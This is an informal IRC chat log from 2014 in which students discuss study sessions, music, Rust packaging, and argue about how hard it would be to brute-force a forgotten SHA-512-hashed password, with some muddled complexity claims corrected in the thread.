[2014-11-20T17:09:45-0500] <ubuntor> sure
[2014-11-20T17:09:52-0500] <JacobEdelman> Tamini: oh wow that is nice
[2014-11-20T17:10:19-0500] <ubuntor> darn, no chalkboard in complex
[2014-11-20T17:11:13-0500] <Tamini> uh JacobEdelman i gotta pack first tho
[2014-11-20T17:11:14-0500] <Tamini> LOL
[2014-11-20T17:11:24-0500] <Tamini> what do i even bring
[2014-11-20T17:11:29-0500] <Tamini> what are we even doing
[2014-11-20T17:12:42-0500] <JacobEdelman> #study is in progress
[2014-11-20T17:15:45-0500] <james> Tamini: both sites *should* work fine on mobile, they were built for that in mind
[2014-11-20T17:16:00-0500] <Tamini> the formatting becomes a little off >.<
[2014-11-20T17:16:12-0500] <james> on which one?
[2014-11-20T17:16:17-0500] <Tamini> (also did you end up turning sudoku in?)
[2014-11-20T17:16:19-0500] <Tamini> uhhh
[2014-11-20T17:16:21-0500] <Tamini> the main one
[2014-11-20T17:16:28-0500] <james> oh ok
[2014-11-20T17:16:39-0500] <james> I need to fix it tonight and i'll show him tomorrow morning
[2014-11-20T17:17:12-0500] <Tamini> ah, okay
[2014-11-20T17:17:18-0500] <Tamini> did he tell you what was wrong with it?
[2014-11-20T17:18:42-0500] <james> no but i know what's wrong
[2014-11-20T17:20:16-0500] <Tamini> heh, okay
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[2014-11-20T17:35:56-0500] <~awe> I am so hungry.
[2014-11-20T17:35:57-0500] <~awe> But class.
[2014-11-20T17:37:20-0500] <Tamini_> aww
[2014-11-20T17:37:22-0500] <Tamini_> wait, right now
[2014-11-20T17:37:23-0500] <Tamini_> ?
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[2014-11-20T17:46:40-0500] <Tamini_> alokpathy, hey! <3
[2014-11-20T17:47:36-0500] <alokpathy> Hiya
[2014-11-20T17:47:39-0500] <alokpathy> hang on
[2014-11-20T17:47:43-0500] <alokpathy> Berkleying
[2014-11-20T17:47:53-0500] <Tamini_> ooh, okie
[2014-11-20T17:50:19-0500] <JacobEdelman> Tamini: you said you were gonna join #study about now
[2014-11-20T17:50:24-0500] <JacobEdelman> (we are in break till 5:57)
[2014-11-20T17:50:28-0500] <Tamini_> uhh
[2014-11-20T17:50:28-0500] <JacobEdelman> alokpathy: you wanna join?
[2014-11-20T17:50:30-0500] <Tamini_> one more pls
[2014-11-20T17:50:34-0500] <Tamini_> im sorta cryptoing
[2014-11-20T17:50:34-0500] <JacobEdelman> fine
[2014-11-20T17:50:46-0500] <Tamini_> <3
[2014-11-20T17:50:47-0500] <Tamini_> sorry
[2014-11-20T17:51:00-0500] <JacobEdelman> (I've been really productive)
[2014-11-20T17:51:38-0500] <JacobEdelman> so, I was thinking
[2014-11-20T17:51:46-0500] <JacobEdelman> howze about we have a week
[2014-11-20T17:51:53-0500] <JacobEdelman> where we have a contest or "marathon"
[2014-11-20T17:51:57-0500] <JacobEdelman> to add people to pdgn
[2014-11-20T17:51:59-0500] <JacobEdelman> something like
[2014-11-20T17:52:22-0500] <JacobEdelman> your "score" is the amount of people who joined because of you + (1/2)*each of their scores
[2014-11-20T17:52:31-0500] <JacobEdelman> starting at the beggeing of that week
[2014-11-20T17:53:21-0500] <JacobEdelman> we would have invite codes (go to join.pdgn.co/JacobEdelman to get redirected to a web irc client and be added to the set of people who joined because of me)
[2014-11-20T17:53:24-0500] <JacobEdelman> the goal would be
[2014-11-20T17:53:30-0500] <JacobEdelman> to have exponential growth
[2014-11-20T17:53:33-0500] <JacobEdelman> in that one week
[2014-11-20T17:53:51-0500] <JacobEdelman> awe: this seems like your kinda thing, you interested?
[2014-11-20T17:54:01-0500] <Tamini_> thats so unfair though
[2014-11-20T17:54:02-0500] <james> that sounds like it'd result in just spamming up the place
[2014-11-20T17:54:11-0500] <james> not that more people is bad
[2014-11-20T17:54:17-0500] <Tamini_> since i already contributed ~50% of the people
[2014-11-20T17:54:18-0500] <Tamini_> and lol yeah
[2014-11-20T17:54:23-0500] <Tamini_> turning invites into a competition is ba
[2014-11-20T17:54:24-0500] <Tamini_> d
[2014-11-20T17:55:01-0500] <james> "jiodashfks has joined" "kl2j3pijo has joined" "jioweyo823ha has joined"
[2014-11-20T17:55:10-0500] <james> "hey look, i've invited 3 people"
[2014-11-20T17:56:53-0500] <Tamini_> lol
[2014-11-20T17:57:15-0500] <JacobEdelman> hmmm
[2014-11-20T17:57:19-0500] <JacobEdelman> I'd like to think
[2014-11-20T17:57:22-0500] <JacobEdelman> that the people here
[2014-11-20T17:57:27-0500] <JacobEdelman> wouldn't really "cheat"
[2014-11-20T17:57:33-0500] <JacobEdelman> and if we don't make the points automatic
[2014-11-20T17:57:40-0500] <JacobEdelman> we could have a few people
[2014-11-20T17:57:49-0500] <JacobEdelman> judge who counts as joining (aka, not just a random person)
[2014-11-20T17:58:04-0500] <JacobEdelman> (and not just a fake account)
[2014-11-20T17:58:10-0500] <JacobEdelman> or we could require email validation
[2014-11-20T17:58:21-0500] <JacobEdelman> which should stop a bunch of people from just spamming
[2014-11-20T17:58:30-0500] <Tamini_> that's just a hassle
[2014-11-20T17:58:39-0500] <Tamini_> rn this is like a cool thing I can show some of my friends
[2014-11-20T17:58:48-0500] <Tamini_> afterwards it becomes an obligation
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[2014-11-20T18:36:09-0500] Topic is Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-20T18:36:09-0500] Set by Pidgey on November 19, 2014 at 10:16:05 PM EST
[2014-11-20T18:00:56-0500] <alokpathy> JacobEdelman: Join what?
[2014-11-20T18:03:44-0500] <JacobEdelman> alokpathy: #study
[2014-11-20T18:04:14-0500] <JacobEdelman> hardmath123: https://gist.github.com/JacobEdelman/5db9bccb702f5bbb40d0
[2014-11-20T18:04:27-0500] <hardmath123> hi jacob
[2014-11-20T18:04:31-0500] <hardmath123> can I join #study, too?
[2014-11-20T18:04:32-0500] <JacobEdelman> I wrote up a formal proposal for a programming language
[2014-11-20T18:04:34-0500] <JacobEdelman> yes you can
[2014-11-20T18:04:38-0500] <JacobEdelman> but look at https://gist.github.com/JacobEdelman/5db9bccb702f5bbb40d0https://gist.github.com/JacobEdelman/5db9bccb702f5bbb40d0
[2014-11-20T18:04:45-0500] <JacobEdelman> (oops, copy and pasted twice there)
[2014-11-20T18:04:52-0500] <JacobEdelman> https://gist.github.com/JacobEdelman/5db9bccb702f5bbb40d0
[2014-11-20T18:04:55-0500] <JacobEdelman> there, thats it
[2014-11-20T18:10:21-0500] <Tamini_> eh
[2014-11-20T18:10:25-0500] <Tamini_> okay, i'm in now
[2014-11-20T18:21:48-0500] <bob_twinkles> heh
[2014-11-20T18:21:54-0500] <bob_twinkles> mkramer messaged me about a ctf problem
[2014-11-20T18:22:00-0500] <bob_twinkles> "can't attach gdb"
[2014-11-20T18:22:16-0500] <bob_twinkles> was ptrace, guessed correctly without even needing to download the file =P
[2014-11-20T18:22:37-0500] <Tamini_> lolol
[2014-11-20T18:22:49-0500] <Tamini_> i am either illiterate
[2014-11-20T18:22:52-0500] <Tamini_> or this problem is actualy hard
[2014-11-20T18:36:09-0500] Mode is +nt
[2014-11-20T18:36:18-0500] <~awe> JacobEdelman: what would you win exactly?
[2014-11-20T18:38:50-0500] <~awe> JacobEdelman: also your language proposal is interpreted
[2014-11-20T18:43:11-0500] <~awe> JacobEdelman: also, this isn't a formal proposal.
[2014-11-20T18:43:16-0500] <~awe> JacobEdelman: This is a very informal proposal.
[2014-11-20T18:54:08-0500] <hardmath123> JacobEdelman: btw if you want a cool parsing/language design project, bug me. i had a semi-interesting idea
[2014-11-20T19:15:15-0500] <nezorg> JacobEdelman: when is easyctf happening?
[2014-11-20T19:17:49-0500] <Tamini_> nezorg: uh
[2014-11-20T19:17:53-0500] <Tamini_> it might not actually be
[2014-11-20T19:18:00-0500] <Tamini_> from what i haerd michael's sorta soloing the project
[2014-11-20T19:18:03-0500] <nezorg> ah
[2014-11-20T19:18:09-0500] <Tamini_> and it's definitely not going to be ready by the projected date
[2014-11-20T19:18:14-0500] <nezorg> JacobEdelman: 15:16:06> hmmm, easyctf is coming very soon, you could do that
[2014-11-20T19:18:15-0500] <Tamini_> even if it does actually happen
[2014-11-20T19:18:30-0500] <Tamini_> it was supposed to be the end of this month, but michael said that would be a bit difficult
[2014-11-20T19:18:37-0500] <nezorg> kk
[2014-11-20T19:18:45-0500] <nezorg> plus it doesn’t have that much publicity
[2014-11-20T19:18:48-0500] <nezorg> I don’t htink
[2014-11-20T19:18:52-0500] <nezorg> s/ht/th/
[2014-11-20T19:19:15-0500] <Tamini_> yeah
[2014-11-20T19:19:19-0500] <Tamini_> i think it was michael's pet project
[2014-11-20T19:19:26-0500] <Tamini_> then people started publicizing it
[2014-11-20T19:21:51-0500] <nezorg> also broken bells is awesome
[2014-11-20T19:21:57-0500] <nezorg> I’ve had them on loop now for far too long
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[2014-11-20T19:23:09-0500] <Tamini_> hmm?
[2014-11-20T19:23:11-0500] <Tamini_> link me
[2014-11-20T19:23:20-0500] <nezorg> broken bells?
[2014-11-20T19:23:27-0500] <nezorg> lead singer = the old singer of the shins?
[2014-11-20T19:23:40-0500] <Tamini_> oh
[2014-11-20T19:23:41-0500] <Tamini_> wait
[2014-11-20T19:23:57-0500] <Tamini_> i didn't know that
[2014-11-20T19:24:03-0500] <Tamini_> recommend me a song?
[2014-11-20T19:24:36-0500] <nezorg> The High Road from their first album, Holding On for Life from their second
[2014-11-20T19:24:55-0500] <nezorg> the first album sounds very Shins-ish
[2014-11-20T19:24:59-0500] <nezorg> the second album less so
[2014-11-20T19:25:02-0500] <nezorg> but they’re both very good
[2014-11-20T19:26:30-0500] <Tamini_> hmm
[2014-11-20T19:26:34-0500] <Tamini_> okay
[2014-11-20T19:26:51-0500] <Tamini_> jesus, where do you find good music
[2014-11-20T19:26:51-0500] <Tamini_> :P
[2014-11-20T19:27:08-0500] <hardmath123> Pat Metheny
[2014-11-20T19:27:15-0500] <nezorg> 1. go to artist you like on spotify
[2014-11-20T19:27:24-0500] <nezorg> 2. click on “related artists"
[2014-11-20T19:27:26-0500] <nezorg> 3. ???
[2014-11-20T19:27:28-0500] <nezorg> 4. profit
[2014-11-20T19:28:39-0500] <Tamini_> whoa, you were right.
[2014-11-20T19:28:47-0500] <Tamini_> this does sound very Shins.
[2014-11-20T19:28:55-0500] <Tamini_> lol 
[2014-11-20T19:28:57-0500] <Tamini_> but that requires like
[2014-11-20T19:28:58-0500] <Tamini_> effort
[2014-11-20T19:30:10-0500] <nezorg> reading #tjhsst is hilarious
[2014-11-20T19:30:38-0500] <Tamini_> oh, right
[2014-11-20T19:30:40-0500] <Tamini_> you're still here.
[2014-11-20T19:30:41-0500] <Tamini_> LOL
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[2014-11-20T19:30:51-0500] <Tamini_> you're so freaking good at being
[2014-11-20T19:30:55-0500] <Tamini_> inconspicous
[2014-11-20T19:31:00-0500] <nezorg> it’s simple:
[2014-11-20T19:31:02-0500] <nezorg> don’t say anything
[2014-11-20T19:31:25-0500] <nezorg> being an observer is enough for me
[2014-11-20T19:31:32-0500] <Tamini_> LOL
[2014-11-20T19:31:36-0500] <nezorg> also, don’t leave / rejoin
[2014-11-20T19:31:37-0500] <Tamini_> you missed a lot of the
[2014-11-20T19:31:39-0500] <Tamini_> big drama
[2014-11-20T19:31:40-0500] <Tamini_> hm?
[2014-11-20T19:31:45-0500] <nezorg> wait, what big drama?
[2014-11-20T19:31:49-0500] <Tamini_> uh
[2014-11-20T19:31:53-0500] <Tamini_> lemme see if i can find some log files
[2014-11-20T19:31:57-0500] <nezorg> I have logs of today
[2014-11-20T19:32:05-0500] <Tamini_> logs of a while ago
[2014-11-20T19:32:06-0500] <Tamini_> :P
[2014-11-20T19:32:08-0500] <nezorg> ah, k
[2014-11-20T19:32:24-0500] <Tamini_> ....wait
[2014-11-20T19:32:28-0500] <Tamini_> penn state came out today? o-o
[2014-11-20T19:33:09-0500] <Tamini_> ugh, why did I ever use facebook chat
[2014-11-20T19:33:16-0500] <Tamini_> searching through the history is positively painful
[2014-11-20T19:33:33-0500] <nezorg> Tamini_: ugh, why did I ever use facebook
[2014-11-20T19:33:36-0500] <Tamini_> lol
[2014-11-20T19:33:36-0500] <nezorg> ^ better statement
[2014-11-20T19:33:43-0500] <Tamini_> I don't mind it.
[2014-11-20T19:33:53-0500] <Tamini_> it saves me from being responsible and doing my own work
[2014-11-20T19:34:02-0500] <Tamini_> since everyone posts everything I need to know ever
[2014-11-20T19:34:09-0500] <nezorg> …
[2014-11-20T19:34:10-0500] <nezorg> okay then
[2014-11-20T19:34:19-0500] <Tamini_> like homework and stuff
[2014-11-20T19:34:25-0500] <Tamini_> it's easier than keeping track myself ._>
[2014-11-20T19:34:38-0500] <Tamini_> do you not social media at all?
[2014-11-20T19:34:50-0500] <nezorg> irc?
[2014-11-20T19:34:50-0500] <nezorg> :P
[2014-11-20T19:34:59-0500] <nezorg> snapchat, somewhat
[2014-11-20T19:35:02-0500] <Tamini_> doesn't count :P
[2014-11-20T19:35:02-0500] <Tamini_> lol
[2014-11-20T19:35:10-0500] <Tamini_> you don't use it very much, do you?
[2014-11-20T19:35:13-0500] <nezorg> no
[2014-11-20T19:35:31-0500] <Tamini_> received:sent ratio too low :(
[2014-11-20T19:35:39-0500] <nezorg> :P
[2014-11-20T19:35:42-0500] <Tamini_> i mean i can't complain
[2014-11-20T19:35:49-0500] <Tamini_> because im usually too lazy to snap stuff
[2014-11-20T19:35:50-0500] <nezorg> selfies are weird, and I don’t have anything interesting to take pictures of
[2014-11-20T19:35:51-0500] <Tamini_> but still ;p
[2014-11-20T19:36:00-0500] <Tamini_> selfies are okay occasionally
[2014-11-20T19:36:13-0500] <Tamini_> i walk around tj looking for cool things to take pictures of
[2014-11-20T19:36:42-0500] <nezorg> sometimes I take pictures of code
[2014-11-20T19:36:43-0500] <nezorg> :P
[2014-11-20T19:36:55-0500] <Tamini_> lol
[2014-11-20T19:36:57-0500] <Tamini_> i noticed
[2014-11-20T19:37:10-0500] <nezorg> …when did I send you a picture of code?
[2014-11-20T19:37:15-0500] <Tamini_> uhh
[2014-11-20T19:37:16-0500] <Tamini_> once
[2014-11-20T19:37:18-0500] <Tamini_> i'm pretty sure
[2014-11-20T19:37:23-0500] <Tamini_> you were telling me how you were distracted
[2014-11-20T19:37:24-0500] <nezorg> I think you’re thinking of history notes
[2014-11-20T19:37:26-0500] <nezorg> oh
[2014-11-20T19:37:40-0500] <nezorg> …don’t really remember that
[2014-11-20T19:37:43-0500] <nezorg> maybe, though
[2014-11-20T19:37:56-0500] <nezorg> in any case
[2014-11-20T19:38:02-0500] <nezorg> Tamini_: lemme see if i can find some log files
[2014-11-20T19:38:12-0500] <~awe> nezorg: https://crates.io
[2014-11-20T19:38:18-0500] <nezorg> awe: yeah, it’s awesome
[2014-11-20T19:38:48-0500] <Tamini_> of what? :p
[2014-11-20T19:38:59-0500] <nezorg> Tamini_: big drama
[2014-11-20T19:39:07-0500] <Tamini_> haha
[2014-11-20T19:40:33-0500] <~awe> nezorg: I'm sad though because openssl-rs isn't up yet
[2014-11-20T19:40:38-0500] <~awe> nezorg: So, I can't put up my irc library.
[2014-11-20T19:41:03-0500] <nezorg> awe: ah, does it not work when you have git-referenced packages in your cargo file?
[2014-11-20T19:41:09-0500] <~awe> It won't allow it.
[2014-11-20T19:41:28-0500] <~awe> all dependencies must come from the same source.
[2014-11-20T19:41:28-0500] <~awe> dependency `openssl` comes from https://github.com/sfackler/rust-openssl.git instead
[2014-11-20T20:04:32-0500] <JacobEdelman> hardmath123: I replied to your comment
[2014-11-20T20:07:51-0500] <hardmath123> hmm
[2014-11-20T20:07:57-0500] <hardmath123> gist should send an email when that happens
[2014-11-20T20:08:48-0500] <hardmath123> >> "We would continually look through the program for parsing rules to apply applying the first parsing rule first. Once a parsing rule was applied we would go back the beginning."
[2014-11-20T20:08:50-0500] <hardmath123> Umm
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[2014-11-20T20:09:26-0500] <~awe> JacobEdelman: lol
[2014-11-20T20:09:38-0500] <Hcnsh> jacob
[2014-11-20T20:09:42-0500] <Hcnsh> can you somehow recover my pass?
[2014-11-20T20:09:44-0500] <Hcnsh> i forgot..
[2014-11-20T20:09:44-0500] <JacobEdelman> hardmath123: just order of operations
[2014-11-20T20:09:49-0500] <JacobEdelman> Hcnsh: for what?
[2014-11-20T20:09:53-0500] <Hcnsh> this irc thing
[2014-11-20T20:09:58-0500] <JacobEdelman> Hcnsh: awe runs it
[2014-11-20T20:10:02-0500] <Hcnsh> awe plis
[2014-11-20T20:10:05-0500] <JacobEdelman> Hcnsh: he can get you your hash
[2014-11-20T20:10:08-0500] <Hcnsh> i know you store pass as textfile
[2014-11-20T20:10:09-0500] <JacobEdelman> and brute force that
[2014-11-20T20:10:15-0500] <Hcnsh> pfft
[2014-11-20T20:10:17-0500] <~awe> Hcnsh: Yeah, I'm going to go run a rainbow table for you till I get your password
[2014-11-20T20:10:21-0500] <~awe> JacobEdelman: >brute force
[2014-11-20T20:10:26-0500] <~awe> JacobEdelman: >sha512
[2014-11-20T20:10:38-0500] <JacobEdelman> awe: ummm, sha512 is easily brute forceable
[2014-11-20T20:10:59-0500] <hardmath123> JacobEdelman: O.o
[2014-11-20T20:11:05-0500] <JacobEdelman> awe: sha512 is just as easy to brute force as sha128 (assuming you want to find the pass, not a collision)
[2014-11-20T20:11:20-0500] <Hcnsh> plis stop fighting
[2014-11-20T20:11:22-0500] <Hcnsh> and find my pass
[2014-11-20T20:11:26-0500] <JacobEdelman> hardmath123: what was the O.o in response too?
[2014-11-20T20:11:38-0500] <~awe> JacobEdelman: are you dumb?
[2014-11-20T20:11:46-0500] <JacobEdelman> hardmath123: no, are you?
[2014-11-20T20:11:50-0500] <JacobEdelman> wait
[2014-11-20T20:11:52-0500] <JacobEdelman> that was too aw
[2014-11-20T20:11:52-0500] <~awe> JacobEdelman: the difference is the bit-size
[2014-11-20T20:11:53-0500] <hardmath123> (that wasn't me!)
[2014-11-20T20:11:54-0500] <JacobEdelman> *awe
[2014-11-20T20:11:56-0500] <JacobEdelman> ....
[2014-11-20T20:12:01-0500] <JacobEdelman> let me explain
[2014-11-20T20:12:04-0500] <The_Master> JacobEdelman: is your sister's lights off
[2014-11-20T20:12:05-0500] <JacobEdelman> when I try to brute force
[2014-11-20T20:12:06-0500] <~awe> A birthday attack to find a collision takes O(2^n/2)
[2014-11-20T20:12:12-0500] <~awe> where n is the number of bits in the hash.
[2014-11-20T20:12:17-0500] <JacobEdelman> no
[2014-11-20T20:12:20-0500] <JacobEdelman> well
[2014-11-20T20:12:22-0500] <JacobEdelman> kindaof
[2014-11-20T20:12:27-0500] <~awe> To find a collision for SHA-512 would take O(2^256)
[2014-11-20T20:12:31-0500] <JacobEdelman> in general
[2014-11-20T20:12:33-0500] <JacobEdelman> its much easier
[2014-11-20T20:12:37-0500] <JacobEdelman> to look for the actuall password
[2014-11-20T20:12:40-0500] <JacobEdelman> not a collision
[2014-11-20T20:12:50-0500] <~awe> In other words, it'd take: 3.17e64 years.
[2014-11-20T20:12:54-0500] <~awe> Uhh...
[2014-11-20T20:13:02-0500] <~awe> How is it easier to look for the password?
[2014-11-20T20:13:10-0500] <nezorg> https://www.youtube.com/watch?v=6OsmUFVyYzQ
[2014-11-20T20:13:13-0500] <hardmath123> JacobEdelman: The O.o was in response to "SHA512 is easy to brute force" because I thought it was pretty secure)
[2014-11-20T20:13:17-0500] <~awe> There's no length restrictions.
[2014-11-20T20:13:17-0500] <JacobEdelman> lets say his password is 8 characters long
[2014-11-20T20:13:22-0500] <~awe> hardmath123: He's wrong.
[2014-11-20T20:13:28-0500] <~awe> There's no restrictions on passwords at all.
[2014-11-20T20:13:32-0500] <~awe> I use 50 digit passwords here.
[2014-11-20T20:13:36-0500] <hardmath123> JacobEdelman: uhh I spent several moments wondering whether or not I needed a ) there...
[2014-11-20T20:13:57-0500] <nezorg> awe: why is it only O(2^256)?
[2014-11-20T20:14:02-0500] <JacobEdelman> hardmath123: its just as easy as a perfect hash function, a hash function its really hard to brute force is like scrypt
[2014-11-20T20:14:18-0500] <JacobEdelman> awe: lets say his password is 8 characters long
[2014-11-20T20:14:20-0500] <JacobEdelman> in which case
[2014-11-20T20:14:20-0500] <~awe> nezorg: http://en.wikipedia.org/wiki/Birthday_attack
[2014-11-20T20:14:22-0500] <JacobEdelman> it takes
[2014-11-20T20:14:26-0500] <JacobEdelman> 256^8
[2014-11-20T20:14:28-0500] <JacobEdelman> times
[2014-11-20T20:14:35-0500] <JacobEdelman> (weel that divided by two)
[2014-11-20T20:14:39-0500] <JacobEdelman> to guess his password
[2014-11-20T20:14:49-0500] <JacobEdelman> no matter what the hash function it is
[2014-11-20T20:14:54-0500] <nezorg> awe: ah right, derp
[2014-11-20T20:14:59-0500] <JacobEdelman> if I was looking for a collision than you would be right
[2014-11-20T20:15:00-0500] <Hcnsh> guys, plis stop arguing
[2014-11-20T20:15:06-0500] <~awe> Okay, but he probably doesn't have a shitty 8 character password.
[2014-11-20T20:15:06-0500] <JacobEdelman> but collision searching is only useful
[2014-11-20T20:15:09-0500] <Hcnsh> and run that rainbowtable or bruteforce or whatever's faster
[2014-11-20T20:15:09-0500] <~awe> And 256^50 is INSANE.
[2014-11-20T20:15:14-0500] <JacobEdelman> yes
[2014-11-20T20:15:15-0500] <JacobEdelman> but
[2014-11-20T20:15:17-0500] <Hcnsh> awe, i do
[2014-11-20T20:15:18-0500] <JacobEdelman> wait
[2014-11-20T20:15:24-0500] <JacobEdelman> he does
[2014-11-20T20:15:28-0500] <~awe> Hcnsh: 8 characters?
[2014-11-20T20:15:31-0500] <Hcnsh> why would i use a decent pass for this irc?
[2014-11-20T20:15:33-0500] <Hcnsh> not sure how many chars
[2014-11-20T20:15:35-0500] <nezorg> my password is about 50 chars as well! yay long passwords~
[2014-11-20T20:15:39-0500] <JacobEdelman> mine is 62
[2014-11-20T20:15:40-0500] <JacobEdelman> :P
[2014-11-20T20:15:41-0500] <Hcnsh> but pretty few
[2014-11-20T20:15:52-0500] <JacobEdelman> (also, probaly repetitive)
[2014-11-20T20:15:53-0500] <~awe> Okay, so, if it's "few characters"
[2014-11-20T20:15:55-0500] <~awe> It'd take:
[2014-11-20T20:16:10-0500] <~awe> 256^12!
[2014-11-20T20:16:16-0500] <JacobEdelman> what, no!
[2014-11-20T20:16:21-0500] <JacobEdelman> no no no
[2014-11-20T20:16:22-0500] <~awe> erm, no
[2014-11-20T20:16:26-0500] <~awe> 256^12 + 256^11
[2014-11-20T20:16:28-0500] <~awe> so on
[2014-11-20T20:16:30-0500] <JacobEdelman> no
[2014-11-20T20:16:31-0500] <JacobEdelman> no
[2014-11-20T20:16:32-0500] <JacobEdelman> no
[2014-11-20T20:16:32-0500] <~awe> because we don't know the exact length.
[2014-11-20T20:16:33-0500] <JacobEdelman> no
[2014-11-20T20:16:33-0500] <hardmath123> is that a factorial or a matter of exclamation?
[2014-11-20T20:16:36-0500] <JacobEdelman> well
[2014-11-20T20:16:37-0500] <JacobEdelman> kinda
[2014-11-20T20:16:47-0500] <JacobEdelman> first of all
[2014-11-20T20:16:48-0500] <~awe> hardmath123: It was factorial, but I realized I meant to add not multiply the terms.
[2014-11-20T20:16:50-0500] <JacobEdelman> that equals about
[2014-11-20T20:16:54-0500] <~awe> JacobEdelman: not kind of.
[2014-11-20T20:16:58-0500] <~awe> That's exactly what it would be.
[2014-11-20T20:16:59-0500] <JacobEdelman> 256^13-1
[2014-11-20T20:17:04-0500] <JacobEdelman> (actually exactly that)
[2014-11-20T20:17:07-0500] <JacobEdelman> second of all
[2014-11-20T20:17:10-0500] <JacobEdelman> a few  is not 12
[2014-11-20T20:17:13-0500] <JacobEdelman> third of all
[2014-11-20T20:17:16-0500] <~awe> 12 characters is a short password.
[2014-11-20T20:17:16-0500] <Hcnsh> will pidgey kick me out if i try too many times?
[2014-11-20T20:17:21-0500] <JacobEdelman> I strongly doubt it is a random selection of character
[2014-11-20T20:17:21-0500] <~awe> Hcnsh: lol no
[2014-11-20T20:17:24-0500] <Hcnsh> k
[2014-11-20T20:17:28-0500] <~awe> JacobEdelman: that's not bruteforce.
[2014-11-20T20:17:32-0500] <JacobEdelman> Hcnsh: is it alphanumeric? only lowercase letters?
[2014-11-20T20:17:35-0500] <~awe> JacobEdelman: if you use some sort of insight into the password, it's not bruteforce.
[2014-11-20T20:17:46-0500] <nezorg> awe: ehhhhh
[2014-11-20T20:17:55-0500] <Hcnsh> uh, i think lower case only. only alphabetical, no numbers.
[2014-11-20T20:17:55-0500] <JacobEdelman> (I included rainbow tables in my definition of bruteforce, it still is strictly defined as brute force, don't argue with me on crypto :P )
[2014-11-20T20:17:57-0500] <~awe> It's at least an intelligent brute force attack.
[2014-11-20T20:17:59-0500] <JacobEdelman> so
[2014-11-20T20:18:10-0500] <JacobEdelman> 26^13 or so
[2014-11-20T20:18:16-0500] <~awe> And I don't care about the complexity of an intelligent brute force attack.
[2014-11-20T20:18:26-0500] <~awe> Obviously it's easier than finding a collision.
[2014-11-20T20:18:31-0500] <~awe> I'm not going to bruteforce his password.
[2014-11-20T20:18:33-0500] <JacobEdelman> assuming its 8 characters long
[2014-11-20T20:18:34-0500] <~awe> The rainbow tables thing was a joke.
[2014-11-20T20:18:41-0500] <JacobEdelman> it should take
[2014-11-20T20:18:43-0500] <JacobEdelman> about 208 seconds
[2014-11-20T20:18:47-0500] <JacobEdelman> maybe 10x that
[2014-11-20T20:18:48-0500] <JacobEdelman> I guess
[2014-11-20T20:18:55-0500] <~awe> Hcnsh: I'm going to delete the registration file for your account. You can just re-register.
[2014-11-20T20:18:58-0500] <JacobEdelman> but still, 6 characters still is brute forceblae
[2014-11-20T20:19:00-0500] <JacobEdelman> but yeah
[2014-11-20T20:19:05-0500] <JacobEdelman> that solution also works :P
[2014-11-20T20:19:07-0500] <Hcnsh> lol
[2014-11-20T20:19:13-0500] <hardmath123> JacobEdelman: how do you calculate execution times quickly?
[2014-11-20T20:19:27-0500] <JacobEdelman> 256**8 is possibilities
[2014-11-20T20:19:40-0500] <JacobEdelman> estimate  a billion computations per second
[2014-11-20T20:19:54-0500] <~awe> hardmath123: wat
[2014-11-20T20:19:56-0500] <JacobEdelman> and lets say around 100 per possibilitie attmmpt
[2014-11-20T20:19:59-0500] <nezorg> awe: wait, finding a collision for a *specific* password is still O(2^512), right?
[2014-11-20T20:20:02-0500] <JacobEdelman> althought it should really be 1000
[2014-11-20T20:20:08-0500] <JacobEdelman> wait
[2014-11-20T20:20:10-0500] <~awe> nezorg: what do you mean?
[2014-11-20T20:20:10-0500] <JacobEdelman> I meant 
[2014-11-20T20:20:13-0500] <JacobEdelman> 26**8
[2014-11-20T20:20:17-0500] <JacobEdelman> since its only letters
[2014-11-20T20:20:26-0500] <nezorg> awe: birthday attack doesn’t apply if you’re looking for a duplicate for a specific birthday
[2014-11-20T20:20:35-0500] <~awe> nezorg: finding the specific password takes (the number of possible characters)^(the length)
[2014-11-20T20:20:44-0500] <JacobEdelman> (I gave a lower bound really earlier, assuming 8 characters it should be about 208827)
[2014-11-20T20:20:48-0500] <nezorg> awe: well I’m talking about a collision
[2014-11-20T20:20:49-0500] <JacobEdelman> yes
[2014-11-20T20:20:52-0500] <JacobEdelman> ah
[2014-11-20T20:20:59-0500] <~awe> nezorg: finding a hash collision for a specific hash takes O(2^n/2)
[2014-11-20T20:21:02-0500] <JacobEdelman> birthday attack is only for finding a collision
[2014-11-20T20:21:05-0500] <hardmath123> awe: jacob was like 'it should take 208 seconds' and you were like 'it should take 3.17e64 years'
[2014-11-20T20:21:05-0500] <JacobEdelman> not a specific collision
[2014-11-20T20:21:19-0500] <nezorg> awe: O(2^(n/2)) or O((2^n)/2) ?
[2014-11-20T20:21:23-0500] <nezorg> pretty sure it’s the latter
[2014-11-20T20:21:25-0500] <JacobEdelman> awe was talking about collision finding, I was talking about password finding
[2014-11-20T20:21:29-0500] <hardmath123> awe: and I was wondering how you come up  with those numbers
[2014-11-20T20:21:38-0500] <JacobEdelman> (awe assumed password could be any string, i assumed it was about 8 characters long max)
[2014-11-20T20:21:40-0500] <~awe> hardmath123: I used someone timing from their actual machine
[2014-11-20T20:21:50-0500] <hardmath123> awe: Oh.
[2014-11-20T20:21:57-0500] <~awe> nezorg: it's the former.
[2014-11-20T20:21:59-0500] <JacobEdelman> yeah
[2014-11-20T20:22:04-0500] <JacobEdelman> but we had entirely different problem
[2014-11-20T20:22:07-0500] <JacobEdelman> *problems
[2014-11-20T20:22:18-0500] <nezorg> awe: are you sure…?
[2014-11-20T20:22:24-0500] <~awe> nezorg: 1/2 would be a constant and therefore wouldn't be included in the big-O.
[2014-11-20T20:22:26-0500] <JacobEdelman> wait
[2014-11-20T20:22:33-0500] <JacobEdelman> its for finding a collision
[2014-11-20T20:22:40-0500] <JacobEdelman> its O((2^n)/2)
[2014-11-20T20:22:45-0500] <JacobEdelman> for a specific string
[2014-11-20T20:22:50-0500] <JacobEdelman> for finding any collision its
[2014-11-20T20:23:01-0500] <JacobEdelman> O(2^(n/2))
[2014-11-20T20:23:03-0500] <nezorg> JacobEdelman: yeah, that’s what I thought
[2014-11-20T20:23:07-0500] <JacobEdelman> although
[2014-11-20T20:23:13-0500] <JacobEdelman> for sha
[2014-11-20T20:23:18-0500] <JacobEdelman> its 256^
[2014-11-20T20:23:19-0500] <JacobEdelman> not 2^
[2014-11-20T20:23:24-0500] <JacobEdelman> since its characters, not bits
[2014-11-20T20:23:29-0500] <JacobEdelman> (I think)
[2014-11-20T20:23:35-0500] <nezorg> …uh SHA-512 is not 512 characters
[2014-11-20T20:23:40-0500] <JacobEdelman> really?
[2014-11-20T20:23:45-0500] <nezorg> definitely 512 bits
